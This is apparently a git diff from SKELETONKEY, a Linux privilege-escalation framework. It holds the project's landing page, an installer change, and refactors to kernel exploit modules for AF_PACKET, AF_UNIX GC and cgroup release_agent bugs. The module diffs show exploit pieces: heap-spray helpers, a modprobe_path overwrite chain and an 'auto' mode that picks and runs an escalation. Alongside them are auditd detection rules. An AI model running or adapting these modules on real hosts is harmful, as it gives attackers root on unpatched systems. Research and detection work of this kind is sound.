<span class="cmt"># Pick the safest LPE and run it</span>
<span class="prompt">$</span> skeletonkey --auto --i-know
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
</div>
</section>
<section>
<div class="container">
<h2>Status</h2>
<p class="lead">
<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
are ported from public PoCs but not yet VM-verified.
Empirical end-to-end validation on a vulnerable-kernel VM matrix
is the next roadmap item; until then, the corpus is best
understood as "compiles + detects + structurally correct +
honest on failure."
</p>
<p style="margin-top:1rem">
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
</p>
</div>
</section>
<footer>
<div class="container">
<p>
Each module credits the original CVE reporter and PoC author in its
<code>NOTICE.md</code>. The research credit belongs to the people
who found the bugs.
</p>
<p>
MIT licensed ·
<a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
</p>
</div>
</footer>
<script>
function copyInstall(btn) {
var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
navigator.clipboard.writeText(cmd).then(function() {
btn.textContent = 'copied!';
btn.classList.add('copied');
setTimeout(function() {
btn.textContent = 'copy';
btn.classList.remove('copied');
}, 1500);
});
}
</script>
</body>
</html>
+309
View File
@@ -0,0 +1,309 @@
/* SKELETONKEY — landing page styles */
* { box-sizing: border-box; }
:root {
--bg: #0d1117;
--bg-elevated: #161b22;
--border: #30363d;
--text: #c9d1d9;
--text-muted: #8b949e;
--text-dim: #6e7681;
--accent: #58a6ff;
--green: #3fb950;
--yellow: #d29922;
--red: #f85149;
--mono: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas,
"Liberation Mono", monospace;
--sans: -apple-system, BlinkMacSystemFont, "Segoe UI", "Helvetica Neue",
Arial, sans-serif;
}
html, body {
margin: 0;
padding: 0;
background: var(--bg);
color: var(--text);
font-family: var(--sans);
font-size: 16px;
line-height: 1.6;
-webkit-font-smoothing: antialiased;
}
a { color: var(--accent); text-decoration: none; }
a:hover { text-decoration: underline; }
code, pre {
font-family: var(--mono);
font-size: 0.92em;
}
.container {
max-width: 920px;
margin: 0 auto;
padding: 2rem 1.5rem;
}
/* Top nav */
.nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1rem 1.5rem;
border-bottom: 1px solid var(--border);
position: sticky;
top: 0;
background: rgba(13, 17, 23, 0.92);
backdrop-filter: blur(6px);
-webkit-backdrop-filter: blur(6px);
z-index: 10;
}
.nav-brand {
font-family: var(--mono);
font-weight: 700;
letter-spacing: 0.04em;
color: var(--text);
}
.nav-github {
display: inline-flex;
align-items: center;
gap: 0.45rem;
color: var(--text-muted);
font-size: 0.95rem;
padding: 0.35rem 0.7rem;
border: 1px solid var(--border);
border-radius: 6px;
transition: all 0.15s ease;
}
.nav-github:hover {
color: var(--text);
border-color: var(--text-muted);
text-decoration: none;
}
.nav-github svg { display: block; }
/* Hero */
.hero {
text-align: center;
padding: 4rem 0 3rem;
border-bottom: 1px solid var(--border);
}
.hero h1 {
font-family: var(--mono);
font-size: 2.5rem;
letter-spacing: 0.05em;
margin: 0 0 1rem;
font-weight: 800;
}
.hero .tag {
font-size: 1.2rem;
color: var(--text-muted);
margin: 0 auto 2rem;
max-width: 640px;
}
.hero .tag strong { color: var(--text); }
.install-block {
background: var(--bg-elevated);
border: 1px solid var(--border);
border-radius: 6px;
padding: 1rem 1.25rem;
margin: 0 auto 1.5rem;
max-width: 760px;
text-align: left;
position: relative;
overflow-x: auto;
}
.install-block pre {
margin: 0;
color: var(--text);
white-space: pre;
}
.install-block .prompt { color: var(--green); user-select: none; }
.install-block .copy {
position: absolute;
top: 0.6rem;
right: 0.6rem;
background: transparent;
border: 1px solid var(--border);
color: var(--text-muted);
font-family: var(--mono);
font-size: 0.78rem;
padding: 0.25rem 0.5rem;
border-radius: 4px;
cursor: pointer;
transition: all 0.15s ease;
}
.install-block .copy:hover { color: var(--text); border-color: var(--text-muted); }
.install-block .copy.copied { color: var(--green); border-color: var(--green); }
.warn {
display: inline-block;
margin-top: 0.5rem;
padding: 0.4rem 0.8rem;
background: rgba(248, 81, 73, 0.08);
border: 1px solid rgba(248, 81, 73, 0.4);
border-radius: 4px;
color: var(--red);
font-size: 0.85rem;
}
.cta-row {
display: flex;
gap: 0.75rem;
justify-content: center;
flex-wrap: wrap;
margin-top: 2rem;
}
.btn {
display: inline-block;
padding: 0.65rem 1.25rem;
border-radius: 6px;
font-size: 0.95rem;
font-weight: 500;
transition: all 0.15s ease;
border: 1px solid var(--border);
color: var(--text);
}
.btn:hover { background: var(--bg-elevated); text-decoration: none; }
.btn-primary {
background: var(--accent);
border-color: var(--accent);
color: #fff;
}
.btn-primary:hover { background: #1f6feb; }
/* Sections */
section { padding: 3rem 0; border-bottom: 1px solid var(--border); }
section h2 {
font-size: 1.6rem;
margin: 0 0 1.5rem;
letter-spacing: -0.01em;
}
section h3 {
font-size: 1.1rem;
margin: 1.5rem 0 0.75rem;
color: var(--text);
}
.lead { color: var(--text-muted); font-size: 1.05rem; max-width: 720px; }
/* Stats */
.stats {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 1rem;
margin: 1.5rem 0;
}
.stat {
background: var(--bg-elevated);
border: 1px solid var(--border);
border-radius: 6px;
padding: 1.25rem;
text-align: center;
}
.stat-num {
font-family: var(--mono);
font-size: 2rem;
font-weight: 700;
display: block;
}
.stat-num.green { color: var(--green); }
.stat-num.yellow { color: var(--yellow); }
.stat-label { color: var(--text-muted); font-size: 0.85rem; }
@media (max-width: 600px) {
.stats { grid-template-columns: repeat(2, 1fr); }
}
/* Audience cards */
.cards {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 1rem;
}
.card {
background: var(--bg-elevated);
border: 1px solid var(--border);
border-radius: 6px;
padding: 1.25rem;
}
.card h3 { margin-top: 0; color: var(--text); }
.card p { margin: 0.5rem 0 0; color: var(--text-muted); font-size: 0.95rem; }
@media (max-width: 600px) {
.cards { grid-template-columns: 1fr; }
}
/* Module pills */
.pills {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
margin: 0.75rem 0 1.5rem;
}
.pill {
display: inline-block;
font-family: var(--mono);
font-size: 0.82rem;
padding: 0.2rem 0.55rem;
border-radius: 4px;
border: 1px solid var(--border);
background: var(--bg-elevated);
color: var(--text);
}
.pill.green { border-color: rgba(63, 185, 80, 0.4); color: var(--green); }
.pill.yellow { border-color: rgba(210, 153, 34, 0.4); color: var(--yellow); }
/* Code block */
pre.code {
background: var(--bg-elevated);
border: 1px solid var(--border);
border-radius: 6px;
padding: 1rem 1.25rem;
overflow-x: auto;
font-size: 0.88rem;
line-height: 1.55;
color: var(--text);
}
pre.code .cmt { color: var(--text-dim); }
pre.code .prompt { color: var(--green); user-select: none; }
pre.code .hl-green { color: var(--green); }
pre.code .hl-yellow { color: var(--yellow); }
pre.code .hl-muted { color: var(--text-muted); }
pre.code .hl-accent { color: var(--accent); }
/* Inline code */
:not(pre) > code {
background: var(--bg-elevated);
border: 1px solid var(--border);
border-radius: 3px;
padding: 0.1rem 0.35rem;
font-size: 0.88em;
}
/* Footer */
footer {
padding: 2.5rem 0;
text-align: center;
color: var(--text-muted);
font-size: 0.9rem;
}
footer a { color: var(--text-muted); }
/* Subtle list styling */
ul.tight { list-style: none; padding: 0; }
ul.tight li {
padding: 0.3rem 0;
color: var(--text-muted);
}
ul.tight li::before {
content: "";
color: var(--accent);
margin-right: 0.5rem;
}
@media (max-width: 600px) {
.hero h1 { font-size: 1.9rem; }
.hero .tag { font-size: 1rem; }
section h2 { font-size: 1.35rem; }
.container { padding: 1.5rem 1rem; }
}
+19 -2
View File
@@ -19,7 +19,12 @@
# 0 — installed successfully
# 1 — error (unsupported arch, download failure, permission denied)
set -euo pipefail
# POSIX-friendly: -eu is universal, pipefail only on shells that
# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
# installer still exits on the first hard error since every curl/
# tar/install step is checked explicitly.
set -eu
(set -o pipefail) 2>/dev/null && set -o pipefail || true
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
VERSION="${SKELETONKEY_VERSION:-latest}"
@@ -32,7 +37,19 @@ fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
# Detect architecture
arch=$(uname -m)
case "$arch" in
x86_64|amd64) target=x86_64 ;;
# x86_64 default: the musl-static binary works on every libc
# (glibc 2.x of any version, musl, uclibc) — costs ~800 KB extra
# vs the dynamic build but eliminates the GLIBC_2.NN portability
# ceiling that bit users on Debian-stable / older RHEL hosts.
# Set SKELETONKEY_DYNAMIC=1 to fetch the smaller dynamic build
# (needs glibc >= 2.38, i.e. Ubuntu 24.04 / Debian 13 / RHEL 10).
x86_64|amd64)
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
target=x86_64
else
target=x86_64-static
fi
;;
aarch64|arm64) target=arm64 ;;
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
esac
-27
View File
@@ -1,27 +0,0 @@
# Fragnesia — CVE pending
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
> Phase 7+.
## Summary
ESP shared-frag in-place encrypt path can be coerced into writing
into the page cache of an unrelated file. Same primitive shape as
Dirty Frag, different reach.
## Status
Audit-stage. See
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
section on backup primitives. Notably: trigger appears to require
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
cap-dead, but on host systems where user_ns clone is enabled it's
reachable.
## Decision needed before implementing
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
yes, this module ships. If we restrict to "default Linux user
account, no namespace tricks," this module is out of scope.
## Not started.
@@ -45,9 +45,6 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -55,13 +52,19 @@
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/socket.h>
#ifdef __linux__
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
@@ -72,52 +75,6 @@
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <poll.h>
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */
#ifndef __linux__
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWNET 0x40000000
#define ETH_P_ALL 0x0003
#define ETH_P_8021Q 0x8100
#define ETH_P_8021AD 0x88A8
#define ETH_P_IP 0x0800
#define ETH_ALEN 6
#define ETH_HLEN 14
#define VLAN_HLEN 4
#define IFF_UP 0x01
#define IFF_RUNNING 0x40
#define SIOCSIFFLAGS 0x8914
#define SIOCGIFINDEX 0x8933
#define SIOCGIFFLAGS 0x8913
#define SOL_PACKET 263
#define PACKET_RX_RING 5
#define PACKET_VERSION 10
#define PACKET_QDISC_BYPASS 20
#define TPACKET_V2 1
#define PACKET_HOST 0
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
struct pollfd { int fd; short events, revents; };
#define POLLIN 0x001
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
#define MAP_SHARED 0x01
#define MAP_LOCKED 0x2000
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define MAP_FAILED ((void *)-1)
#endif
static const struct kernel_patched_from af_packet2_patched_branches[] = {
{4, 9, 235},
@@ -135,53 +92,44 @@ static const struct kernel_range af_packet2_range = {
sizeof(af_packet2_patched_branches[0]),
};
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves — populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
v.release);
v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
bool patched = kernel_range_is_patched(&af_packet2_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
}
@@ -223,8 +171,6 @@ static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
* the primitive. It does not land cred overwrite.
*/
#ifdef __linux__
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
* objects are sprayed so the OOB write lands on attacker bytes. */
static void af_packet2_skb_spray(int n_iters)
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
return 0;
}
#else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
return -1;
}
#endif
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
*
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
@@ -490,7 +427,7 @@ struct afp2_arb_ctx {
int n_attempts; /* spray/fire rounds before giving up */
};
#if defined(__x86_64__) && defined(__linux__)
#if defined(__x86_64__)
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
@@ -508,9 +445,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
* frame would then write our payload (the modprobe_path string)
* into the forged ->data target. */
for (int i = 0; i < c->n_attempts; i++) {
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) {
@@ -535,9 +470,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
}
int st;
waitpid(p, &st, 0);
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
}
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
@@ -572,8 +505,11 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
return pre;
}
/* 2. Refuse if already root. */
if (geteuid() == 0) {
/* 2. Refuse if already root. Consult ctx->host first so unit tests
* can construct a non-root fingerprint regardless of the test
* process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return SKELETONKEY_OK;
}
@@ -664,7 +600,7 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
" skeletonkey intentionally does not embed per-kernel offsets.\n");
}
if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__)
#if defined(__x86_64__)
/* --full-chain: resolve kernel offsets and run the Or-Cohen
* sk_buff-data-pointer hijack via the shared modprobe_path
* finisher. Per the verified-vs-claimed bar: if we can't
@@ -703,6 +639,29 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
}
}
#else /* !__linux__ */
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
* underflow are Linux-only kernel surface. Stub out cleanly so the
* module still registers and `--list` / `--detect-rules` work on
* macOS/BSD dev boxes — and so the top-level `make` actually completes
* there. */
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] af_packet2: Linux-only module "
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
@@ -60,17 +60,23 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/socket.h>
@@ -106,44 +112,35 @@ static const struct kernel_range af_packet_range = {
sizeof(af_packet_patched_branches[0]),
};
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&af_packet_range, &v);
bool patched = kernel_range_is_patched(&af_packet_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet: user_ns denied → "
"unprivileged exploit unreachable\n");
@@ -718,8 +715,11 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
return pre;
}
/* 2. Refuse if already root. */
if (geteuid() == 0) {
/* 2. Refuse if already root. Consult ctx->host first so unit tests
* can construct a non-root fingerprint regardless of the test
* process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
@@ -727,16 +727,19 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
* early the kernel-write walk needs them. The integrator can
* extend known_offsets[] for new distro builds. */
struct kernel_version v;
if (!kernel_version_current(&v)) {
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) {
if (!resolve_offsets(&off, v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release);
v->release);
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -858,6 +861,30 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
#endif
}
#else /* !__linux__ */
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
* integer-overflow primitive is structurally unreachable elsewhere.
* Stub out cleanly so the module still registers and `--list` /
* `--detect-rules` work on macOS/BSD dev boxes and so the top-level
* `make` actually completes there. */
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] af_packet: Linux-only module "
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
static const char af_packet_auditd[] =
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
"# Flag AF_PACKET socket creation from non-root via userns.\n"
@@ -58,6 +58,7 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
@@ -129,9 +130,14 @@ static bool can_create_af_unix(void)
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
@@ -139,10 +145,10 @@ static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
* the dawn of time. ANY kernel below the fix is vulnerable. The
* kernel_range walker handles "older than every entry" correctly
* (returns false not patched vulnerable). */
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
@@ -157,7 +163,7 @@ static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
}
if (!ctx->json) {
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
" (no userns / no CAP_* required — AF_UNIX is universally\n"
" creatable). The race window is microseconds wide and\n"
@@ -549,7 +555,8 @@ static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ct
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
@@ -38,7 +38,6 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include <stdio.h>
#include <stdlib.h>
@@ -46,6 +45,11 @@
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
@@ -71,44 +75,40 @@ static const struct kernel_range cgroup_ra_range = {
sizeof(cgroup_ra_patched_branches[0]),
};
static int can_unshare_userns_mount(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
/* The unprivileged-userns precondition is now read from the shared
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
* probes once at startup via core/host.c. The previous per-detect
* fork-probe helper was removed. */
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
}
@@ -154,7 +154,10 @@ static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
/* Consult ctx->host->is_root so unit tests can construct a
